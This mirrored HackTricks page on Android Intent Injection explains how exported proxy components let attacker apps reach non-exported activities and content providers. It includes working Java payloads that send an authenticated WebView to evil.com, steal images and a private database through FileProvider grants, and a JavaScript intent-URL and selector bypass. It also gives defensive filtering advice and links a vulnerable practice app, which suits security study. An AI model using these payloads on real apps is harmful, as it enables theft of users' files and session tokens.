mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-03 00:38:52 +00:00
280 lines
14 KiB
Markdown
280 lines
14 KiB
Markdown
|
# Intent Injection
|
|||
|
|
|||
|
**Research taken from** [**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)\*\*\*\*
|
|||
|
|
|||
|
## Introduction
|
|||
|
|
|||
|
This vulnerability resembles **Open Redirect in web security**. Since class `Intent` is `Parcelable`, **objects belonging to this class** can be **passed** as **extra** **data** in another `Intent` object.
|
|||
|
Many developers make **use** of this **feature** and create **proxy** **components** \(activities, broadcast receivers and services\) that **take an embedded Intent and pass it to dangerous methods** like `startActivity(...)`, `sendBroadcast(...)`, etc.
|
|||
|
This is dangerous because **an attacker can force the app to launch a non-exported component that cannot be launched directly from another app**, or to grant the attacker access to its content providers. **`WebView`** also sometimes changes a **URL from a string to an `Intent`** object, using the `Intent.parseUri(...)` method, and passes it to `startActivity(...)`.
|
|||
|
|
|||
|
{% hint style="info" %}
|
|||
|
As summary: If an attacker can send an Intent that is being insecurely executed he can potentially access not exported components and abuse them.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
## A typical case
|
|||
|
|
|||
|
Let us examine an example. Fragment of the `AndroidManifest.xml` file
|
|||
|
|
|||
|
```markup
|
|||
|
<activity android:name=".ProxyActivity" android:exported="true" />
|
|||
|
<activity android:name=".AuthWebViewActivity" android:exported="false" />
|
|||
|
```
|
|||
|
|
|||
|
Activity `ProxyActivity`
|
|||
|
|
|||
|
```java
|
|||
|
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
|
|||
|
```
|
|||
|
|
|||
|
Activity `AuthWebViewActivity`
|
|||
|
|
|||
|
```java
|
|||
|
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
|
|||
|
```
|
|||
|
|
|||
|
`AuthWebViewActivity` is an example of **hidden app functionality that performs certain unsafe actions**, in this case passing the user’s authentication session to a URL obtained from the `url` parameter.
|
|||
|
|
|||
|
Export restrictions mean **the attacker cannot access `AuthWebViewActivity` directly**. A direct call
|
|||
|
|
|||
|
```java
|
|||
|
Intent intent = new Intent();
|
|||
|
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
|||
|
intent.putExtra("url", "http://evil.com/");
|
|||
|
startActivity(intent);
|
|||
|
```
|
|||
|
|
|||
|
throws a `java.lang.SecurityException`, due to `Permission Denial`: `AuthWebViewActivity not exported from uid 1337`.
|
|||
|
|
|||
|
But the attacker can f**orce the victim to launch `AuthWebViewActivity` itself**:
|
|||
|
|
|||
|
```java
|
|||
|
Intent extra = new Intent();
|
|||
|
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
|||
|
extra.putExtra("url", "http://evil.com/");
|
|||
|
|
|||
|
Intent intent = new Intent();
|
|||
|
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
|||
|
intent.putExtra("extra_intent", extra);
|
|||
|
startActivity(intent);
|
|||
|
```
|
|||
|
|
|||
|
and no security violation will arise, because t**he app that is under attack does have access to all its own components**. Using this code fragment, the attacker can bypass the Android system’s built-in restrictions.
|
|||
|
|
|||
|
## Escalation of Impact
|
|||
|
|
|||
|
In order to escalate the impact of this vulnerability you need to **find other vulns/missconfigurations that could allow to increate the impact of the vulnerability** \(as the vulnerability by it's own isn't creating any risks\).
|
|||
|
|
|||
|
### Escalation of attacks via Content Providers
|
|||
|
|
|||
|
Besides access to arbitrary components of the original app, the **attacker can attempt to gain access to those of the vulnerable app’s Content Providers** that satisfy the following conditions:
|
|||
|
|
|||
|
* it must be **non-exported** \(otherwise it **could be attacked directly**, without using the vulnerability we are discussing in this article\)
|
|||
|
* it must have the **`android:grantUriPermissions`** flag set to **`true`**.
|
|||
|
* `android:grantUriPermissions="true"` indicates that your Java code can use `FLAG_GRANT_READ_URI_PERMISSION` and `FLAG_GRANT_WRITE_URI_PERMISSION` for **any `Uri` served by that `ContentProvider`**.
|
|||
|
* `android:grantUriPermissions="false"` indicates that **only the `Uri` values specified by child `<grant-uri-permission>`** elements can be used with `FLAG_GRANT_READ_URI_PERMISSION` and `FLAG_GRANT_WRITE_URI_PERMISSION`.
|
|||
|
|
|||
|
The attacker must set itself as the recipient of an embedded intent and set the following flags
|
|||
|
|
|||
|
* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` permits persistent access to the provider \(without this flag, the access is one-time only\)
|
|||
|
* `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION` permits URI access by prefix – for example, instead of repeatedly obtaining separate access using a complete path such as `content://com.victim.provider/image/1` the attacker can grant access to all the provider’s content using the URI `content://com.victim.provider/` and then use `ContentResolver` to address `content://com.victim.provider/image/1`, `content://com.victim.provider/image/2`, etc.
|
|||
|
* `Intent.FLAG_GRANT_READ_URI_PERMISSION` permits read operations on the provider \(such as `query`, `openFile`, `openAssetFile`\)
|
|||
|
* `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` permits write operations
|
|||
|
|
|||
|
An example of a typical provider where an attacker can gain access to it and perform regular operations like `query`, `update`, `insert`, `delete`, `openFile`, `openAssetFile`
|
|||
|
|
|||
|
```markup
|
|||
|
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
|
|||
|
```
|
|||
|
|
|||
|
Example of the theft of user pictures `AndroidManifest.xml` file
|
|||
|
|
|||
|
```markup
|
|||
|
<activity android:name=".LeakActivity" android:exported="true" />
|
|||
|
```
|
|||
|
|
|||
|
`MainActivity.java` file
|
|||
|
|
|||
|
```java
|
|||
|
Intent extra = new Intent();
|
|||
|
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
|
|||
|
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
|
|||
|
| Intent.FLAG_GRANT_READ_URI_PERMISSION
|
|||
|
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
|
|||
|
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
|||
|
extra.setData(Uri.parse("content://com.victim.provider/"));
|
|||
|
|
|||
|
Intent intent = new Intent();
|
|||
|
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
|||
|
intent.putExtra("extra_intent", extra);
|
|||
|
startActivity(intent);
|
|||
|
```
|
|||
|
|
|||
|
`LeakActivity.java`
|
|||
|
|
|||
|
```java
|
|||
|
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
|
|||
|
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
|
|||
|
```
|
|||
|
|
|||
|
### Attacks on Android File Provider
|
|||
|
|
|||
|
This vulnerability also makes it possible for the attacker to **steal app files** located in directories that the developer predetermined. For a successful attack, the malign app needs to **obtain access rights to Android File Provider and then read content from the file provider using Android ContentResolver**.
|
|||
|
|
|||
|
Example file provider \(for more details see [https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider)\)
|
|||
|
|
|||
|
```markup
|
|||
|
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
|
|||
|
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
|
|||
|
</provider>
|
|||
|
```
|
|||
|
|
|||
|
It provides read/write access to files on a special list that can be found in the app resources, in this case at `res/xml/provider_paths.xml`
|
|||
|
|
|||
|
It may look somewhat like
|
|||
|
|
|||
|
```markup
|
|||
|
<?xml version="1.0" encoding="utf-8"?>
|
|||
|
<paths>
|
|||
|
<root-path name="root" path=""/>
|
|||
|
<files-path name="internal_files" path="."/>
|
|||
|
<cache-path name="cache" path=""/>
|
|||
|
<external-path name="external_files" path="images"/>
|
|||
|
</paths>
|
|||
|
```
|
|||
|
|
|||
|
Each tag specifies a root directory with a `path` value relative to the root. For instance, the value `external_files` will correspond to `new File(Environment.getExternalStorageDirectory(), "images")`
|
|||
|
|
|||
|
The value `root-path` corresponds to `/`, i.e. provides access to arbitrary files.
|
|||
|
|
|||
|
Let us say we have some secret data stored in the file `/data/data/com.victim/databases/secret.db`: the theft of this file may look something like this `MainActivity.java`
|
|||
|
|
|||
|
```java
|
|||
|
Intent extra = new Intent();
|
|||
|
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
|
|||
|
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
|||
|
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
|
|||
|
|
|||
|
Intent intent = new Intent();
|
|||
|
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
|||
|
intent.putExtra("extra_intent", extra);
|
|||
|
startActivity(intent);
|
|||
|
```
|
|||
|
|
|||
|
`LeakActivity.java`
|
|||
|
|
|||
|
```java
|
|||
|
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
|
|||
|
```
|
|||
|
|
|||
|
### Access to arbitrary components via WebView
|
|||
|
|
|||
|
An Intent object can be cast to a string with a call to `Intent.toUri(flags)` and back from a string to an Intent using `Intent.parseUri(stringUri, flags)`. This functionality is often used in WebView \(the app’s built-in browser\): the **app can verify an `intent://` scheme, parse the URL into an Intent and launch the activity**.
|
|||
|
|
|||
|
**This vulnerability can be exploited both via other vulnerabilities** \(e.g. the ability to open arbitrary links in-app in WebView directly via exported activities or by way of the deeplink mechanism\) in the client app and also remotely, including cross-site scripting on the server side or MitM on the client side
|
|||
|
|
|||
|
Example of vulnerable code
|
|||
|
|
|||
|
```java
|
|||
|
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
|||
|
Uri uri = request.getUrl();
|
|||
|
if("intent".equals(uri.getScheme())) {
|
|||
|
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
|
|||
|
return true;
|
|||
|
}
|
|||
|
return super.shouldOverrideUrlLoading(view, request);
|
|||
|
}
|
|||
|
```
|
|||
|
|
|||
|
The point here is that the `shouldOverrideUrlLoading(...)` method of class `WebViewClient` is called each time WebView tries to load a new link, but gives the app the option of adding a custom handler.
|
|||
|
|
|||
|
To exploit this vulnerability the attacker needs to create a WebView redirect to a specially prepared intent-scheme URL. Example of URL creation
|
|||
|
|
|||
|
```java
|
|||
|
Intent intent = new Intent();
|
|||
|
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
|||
|
intent.putExtra("url", "http://evil.com/");
|
|||
|
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
|
|||
|
```
|
|||
|
|
|||
|
Example attack
|
|||
|
|
|||
|
```java
|
|||
|
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
|
|||
|
```
|
|||
|
|
|||
|
This version contains **several restrictions compared to the classic versio**n of the vulnerability:
|
|||
|
|
|||
|
* Embedded `Parcelable` and `Serializable` objects cannot be cast to string \(they will be ignored\)
|
|||
|
* The insecure flags `Intent.FLAG_GRANT_READ_URI_PERMISSION` and `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` are **ignored** when `Intent.parseUri(...)` is called. The parser will only leave them if the `Intent.URI_ALLOW_UNSAFE` \(`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))` flag is set, which is very rare
|
|||
|
|
|||
|
Many developers still forget to carry out a complete filtering of intents received via WebView
|
|||
|
|
|||
|
```java
|
|||
|
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
|||
|
Uri uri = request.getUrl();
|
|||
|
if("intent".equals(uri.getScheme())) {
|
|||
|
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
|
|||
|
intent.addCategory("android.intent.category.BROWSABLE");
|
|||
|
intent.setComponent(null);
|
|||
|
startActivity(intent);
|
|||
|
return true;
|
|||
|
}
|
|||
|
return super.shouldOverrideUrlLoading(view, request);
|
|||
|
}
|
|||
|
```
|
|||
|
|
|||
|
The attacker can specify a non-exported component via a selector
|
|||
|
|
|||
|
```java
|
|||
|
Intent intent = new Intent();
|
|||
|
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
|
|||
|
intent.putExtra("url", "http://evil.com/");
|
|||
|
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
|
|||
|
```
|
|||
|
|
|||
|
And bypass the app’s protection against explicit intents. We therefore recommend filtering the selector as well
|
|||
|
|
|||
|
```java
|
|||
|
intent.addCategory("android.intent.category.BROWSABLE");
|
|||
|
intent.setComponent(null);
|
|||
|
intent.setSelector(null);
|
|||
|
```
|
|||
|
|
|||
|
But even complete filtering does not guarantee complete protection, because an attacker can create an implicit intent corresponding to the `intent-filter` of some non-exported activity. Example of an activity declaration:
|
|||
|
|
|||
|
```markup
|
|||
|
<activity android:name=".AuthWebViewActivity" android:exported="false">
|
|||
|
<intent-filter>
|
|||
|
<action android:name="android.intent.action.VIEW" />
|
|||
|
<category android:name="android.intent.category.DEFAULT" />
|
|||
|
<data android:scheme="victim" android:host="secure_handler" />
|
|||
|
</intent-filter>
|
|||
|
</activity>
|
|||
|
```
|
|||
|
|
|||
|
```java
|
|||
|
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
|
|||
|
```
|
|||
|
|
|||
|
We therefore recommend checking that an activity is exported before it is launched.
|
|||
|
|
|||
|
### Other ways of creating insecure intents
|
|||
|
|
|||
|
Some app developers implement their **own intent parsers** \(often to handle **deeplinks** or push messages\), using e.g. **JSON** objects, strings or byte arrays, which either do not differ from the default or else present a great danger, because they may expand **`Serializable`** and `Parcelable` objects and they also allow insecure flags to be set. The security researcher may also encounter more exotic versions of intent creation, such as casting a byte array to a `Parcel` and then reading an intent from it
|
|||
|
|
|||
|
```java
|
|||
|
Uri deeplinkUri = getIntent().getData();
|
|||
|
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
|
|||
|
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
|
|||
|
Parcel parcel = Parcel.obtain();
|
|||
|
parcel.unmarshall(handle, 0, handle.length);
|
|||
|
startActivity((Intent) parcel.readParcelable(getClassLoader()));
|
|||
|
}
|
|||
|
```
|
|||
|
|
|||
|
## Vuln app
|
|||
|
|
|||
|
{% embed url="https://github.com/oversecured/ovaa" %}
|
|||
|
|